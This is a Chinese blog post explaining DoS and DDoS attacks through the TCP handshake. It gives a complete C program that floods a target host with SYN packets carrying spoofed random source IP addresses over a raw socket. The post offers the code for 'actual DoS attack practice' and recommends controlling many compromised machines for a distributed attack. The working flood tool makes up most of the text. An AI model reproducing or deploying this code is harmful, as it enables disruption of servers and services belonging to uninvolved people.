linux 高级网络编程之自定义ip报文头 Dos

本文介绍了DoS(拒绝服务攻击)的基本原理,通过三次握手过程阐述其如何消耗服务器资源。重点讲解了在Linux环境下,如何利用自定义IP头部进行socket编程实现DoS攻击,并提供了相关代码示例。然而,单台机器的攻击往往难以对高性能服务器造成显著影响,因此实践中通常采用DDoS(分布式拒绝服务)攻击,控制多台设备同时发起攻击以影响目标服务器。

一,前言

    Dos(Denial of Service) 即拒绝服务攻击。在建立tcp连接过程中,有三次握手过程,假如客户端向服务器发送连接请求,服务器收到请求并准备建立连接,但客户端假如迟迟不确认连接将损耗服务器的资源。如果这样的请求多了,将严重影响服务器工作。这就是Dos 攻击的基本原理。然而由于单台客户端发送的客户端请求很有限,一般很难对处理能力强的服务器造成影响,所以Dos攻击在实际使用过程中一般采用DDos(Distribute Deny of Service ),分布式拒绝服务攻击,控制多台肉机客户端同时向服务器发送连接请求,以达到使服务器不能工作的目的。


二, 要点及原理分析

    1. 于需要用伪造的ip地址, 所以需要自定义ip头, 这需要对套接字属性进行设置:

int opt = 1;
setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, &opt, sizeof(opt));
    2. 为了更方便的填充ip报文头及tcp报文头, 这里需要用到 struct ip 以及 struct tcphdr:

struct ip 

struct ip
  {
#if __BYTE_ORDER == __LITTLE_ENDIAN
    unsigned int ip_hl:4; /* header length */
    unsigned int ip_v:4; /* version */
#endif
#if __BYTE_ORDER == __BIG_ENDIAN
    unsigned int ip_v:4; /* version */
    unsigned int ip_hl:4; /* header length */
#endif
    u_int8_t ip_tos; /* type of service */
    u_short ip_len; /* total length */
    u_short ip_id; /* identification */
    u_short ip_off; /* fragment offset field */
#define IP_RF 0x8000 /* reserved fragment flag */
#define IP_DF 0x4000 /* dont fragment flag */
#define IP_MF 0x2000 /* more fragments flag */
#define IP_OFFMASK 0x1fff /* mask for fragmenting bits */
    u_int8_t ip_ttl; /* time to live */
    u_int8_t ip_p; /* protocol */
    u_short ip_sum; /* checksum */
    struct in_addr ip_src, ip_dst; /* source and dest address */
  }; 

struct tcphdr

struct tcphdr {
    __be16 source;
    __be16 dest;
    __be32 seq;
    __be32 ack_seq;
#if defined(__LITTLE_ENDIAN_BITFIELD)
    __u16   res1:4,
            doff:4,
            fin:1,
            syn:1,
            rst:1,
            psh:1,
            ack:1,
            urg:1,
            ece:1,
            cwr:1;
#elif defined(__BIG_ENDIAN_BITFIELD)
    __u16   doff:4,
            res1:4,
            cwr:1,
            ece:1,
            urg:1,
            ack:1,
            psh:1,
            rst:1,
            syn:1,
            fin:1;
#else
#error "Adjust your defines"
#endif
    __be16 window;
    __be16 check;
    __be16 urg_ptr;
};


三, 代码实现

    接下来就可用socket编程来实现Dos 了:

/* *************** Dos.c ************** *
 * author: xiahouzuoping
 * *************************************
 */

#include <errno.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <netdb.h>
#include <sys/socket.h>

#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>

#define LOCALPORT 999

// 校验和函数
unsigned short check_sum(unsigned short *addr, int len);

int main(int argc, char **argv)
{
	if (argc != 3) {
		printf("argument error!\n");
		printf("Dos <serverip> <port>\n");
		exit (1);
	}

	int opt = 1;
	int sockfd; 
	struct sockaddr_in addr;
	struct hostent *host;

	// initialize socket 
	memset( &addr, 0x0, sizeof(struct sockaddr_in));
	addr.sin_family = AF_INET;
	addr.sin_port = htons( atoi(argv[2]));
	if ( inet_aton( argv[1], &addr.sin_addr) == 0)
	{
		host = gethostbyname( argv[1] );
		if ( host == NULL) {
			printf("%s", hstrerror(h_errno));
			exit(1);
		}
		addr.sin_addr = *(struct in_addr *)(host->h_addr_list[0]);
	}

	sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_TCP);
	if (sockfd < 0) {
		printf("%s", strerror(errno));
		exit(1);
	}

	// set socket include ip head
	setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, &opt, sizeof(opt));
	
	// create data which only has head, and content is null 
	unsigned char buffer[sizeof(struct ip) + sizeof(struct tcphdr)] ;
	struct ip *ip;
	struct tcphdr  *tcp;
	
	int len = sizeof(buffer);

	memset(buffer, 0x0, sizeof(buffer));
	ip = (struct ip *)buffer;
	tcp = (struct tcphdr *)(buffer + sizeof(struct ip));

        // fill in tcp head, set seq be random ,and syn = 1
	tcp->source = htons(LOCALPORT);
	tcp->dest = addr.sin_port;
	tcp->seq = random();
	tcp->ack_seq = 0;
	tcp->doff = 5;
	tcp->syn = 1;

        // fill in ip head 
	ip->ip_v = IPVERSION;
	ip->ip_hl = sizeof(struct ip)>>2;
	ip->ip_tos = 0;
	ip->ip_len = htons(len);
	ip->ip_id = 0;
	ip->ip_off = 0;

	// ip->ip_ttl = MAXTTL;
	ip->ip_p = IPPROTO_TCP;
	//ip->ip_sum = 0;
	//ip->ip_src.s_addr
	ip->ip_dst = addr.sin_addr;

	while (1) {
		ip->ip_ttl = 0;
		
		ip->ip_sum = htons(sizeof(struct tcphdr));
		ip->ip_src.s_addr = random();

		tcp->check = 0;
		
		tcp->check = check_sum((u_int16_t *)buffer +4, sizeof(buffer) - 8);
		
		ip->ip_ttl = MAXTTL;
		sendto(sockfd, buffer, len, 0, (struct sockaddr *)(&addr), sizeof(struct sockaddr_in));

	}
	
}

u_int16_t check_sum(u_int16_t *buffer, int size)
{
	register int len = size;
	register u_int16_t *p =buffer;
	register u_int32_t cs = 0;

	while ( len >= 2)
	{
		cs += *(p++);
		len -= 2;
	}

	if (1 == len)
	{
		cs += *((unsigned char *)buffer);
	}

	while ( (cs&0xffff0000) != 0) 
		cs = (cs>>16) + (cs&0xffff);

	return (u_int16_t)(~cs);

}

四, 小结与分析

    可以用以上代码去做实际的Dos 攻击实践, 会发现自己本地的网络被占用的非常厉害,好多网页都打不开,而我们原本要攻击的服务器则基本不会受到太大的影响。 出现这样的反差是因为,以上进程用while(1) 循环不断的往外发包,这极大的占用了本地网卡的带宽,造成本地网卡拥堵,而引起其他的网络也用不了。 所以如果真正的要用Dos去干扰一台服务器工作,除非服务器性能远低于我们的客户机,不然的话,光一台客户机是不够的, 我们需要多台客户机同时发动Dos攻击,这就是现实中为什么大多数网络攻击一般是DDos的原因,即用分布式原理控制多台机器发动Dos攻击。




评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值